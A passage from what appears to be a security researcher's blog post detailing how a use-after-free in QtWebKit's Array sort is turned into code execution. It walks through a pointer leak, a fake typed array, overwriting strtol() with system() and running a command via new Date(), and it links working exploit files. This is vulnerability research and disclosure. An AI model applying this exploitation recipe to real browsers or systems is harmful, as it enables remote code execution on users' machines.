<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> lazily.</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> void* m_allocBase; // Pointer to base address returned by malloc().</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> Keeping this pointer does eliminate false positives</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> from the leak detector.</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> size_t reportedMapCapacity;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The pointer we leak is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">m_allocBase</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, and it is 8-byte aligned and followed by the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">reportedMapCapacity</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> member, which is unlikely to ever set to 0xfffffffb, even if we tried. So for 32-bit, we will always treat the leaked pointer as the first 4 bytes of a double value, which can be cleanly converted to raw bytes, best I know. Although, interested readers should read Natalie Silvanovich’s Project Zero post where she had </span><a href="https://googleprojectzero.blogspot.com/2015/07/one-perfect-bug-exploiting-type_20.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">trials and tribulations with floating pointer SNaN quirks</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">But on 64-bit, we really want to leak a real pointer value. It’s a headache that attempting the leak creates a JavaScript reference that causes a crash when used. In order to solve this issue, we can actually resort to combining situation #2 and situation #3 above. The full sequence is:</span></div>
<b style="font-weight: normal;"><br /></b>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Create an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and sort it.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">On the first sort JavaScript callback, splice the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> so that the sort iteration will treat the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> header fields as elements within the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to sort.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Under </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">no circumstances</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> use either of the JavaScript references passed to the sort callback, because the references based on the raw pointers in the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> header will explode if touched in any way.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">On the final sort JavaScript callback, expand the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, causing a reallocation and then use the resulting use-after-free to write the sorted </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> elements into a freshly allocated </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The sorted elements will include the raw pointers from the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> headers and these can now be safely read from the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer that was written to on account of the use-after-free.</span></div>
</li>
</ol>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ok. Now that we’ve fixed our information leak primitive on 64-bit, our object aliasing primitive that depends on it will now work. Let’s describe the full exploitation sequence:</span></div>
<b style="font-weight: normal;"><br /></b>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Alias a 112 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer with a 112 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">WebCore::ScriptRunner</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object (which is allocated in the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> heap when you create a new document from JavaScript).</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Read a timer related function pointer value from the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">WebCore::ScriptRunner</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This gives us the address of everything in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libQtWebKit.so</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Alias a 2088 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer with a 2088 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> with 256 elements.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Writing through the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer, set element[0] to be an object pointer. Point it at element[1] in the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which is a memory scratch space we will use to fake a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSUint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Fake the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSUint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object. To be functional, we need to fill in bytes 0-7 (with the vtable for </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSUint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">), and bytes 48-55 (with a pointer to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object). Point this latter pointer to element[8] in the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which is a memory scratch space we will use to fake a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Fake the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object. To be functional, we need to fill in bytes 16-23 to point to the buffer storage we want. We point this to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libQtWebKit.so</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> BSS section. And we need to set bytes 40-43 to the desired buffer length. We max it out at 0xffffffff.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now we can access array[0] as a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> that will read and write relative to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libQtWebKit.so</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> BSS!</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Read the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">strtol()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer out of the BSS. From that, calculate the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer since both are in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libc.so</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Write back </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> on top of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">strtol()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Call </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">new Date(‘xcalc;’)</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and profit… or at least, calculate. The C++ implementation of the JavaScript </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Date</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> constructor calls </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">strtol()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> on the string argument, hence the sound of popping calcs.</span></div>
</li>
</ol>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Obligatory screenshot:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="konq_64_calc.png" height="485" src="https://lh5.googleusercontent.com/Wwocn_w8bHusdV_wn7hx6HmOlFdHJfqUhC4zigrSbSjQFJFJHkxHGheiGSltk5-ClnSvBAICm15PBk_7TMxICUlsGD8ZN7eXDootAl_zLr0Nt-eYLLmhNSuOQ279j9Tj2xhyyHR7" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="624" /></span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can download the exploit file here: </span><a href="https://security.appspot.com/security/qtwebkit/arrsort_exploit_fake_uint8.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">arrsort_exploit_fake_uint8.html</span></a></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Proceeding with exploitation: 32-bit</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Surprise! Bonus! The very same exploit file actually works on 32-bit. The code acts a bit differently to use different object sizes, object field offsets and deltas. But the steps taken are the same for both the 64-bit and 32-bit cases.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Here’s a different working, reliable 32-bit exploit that I wrote earlier: </span><a href="https://security.appspot.com/security/qtwebkit/arrsort_exploit_32bit_alt.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">arrsort_exploit_32bit_alt.html</span></a></div>
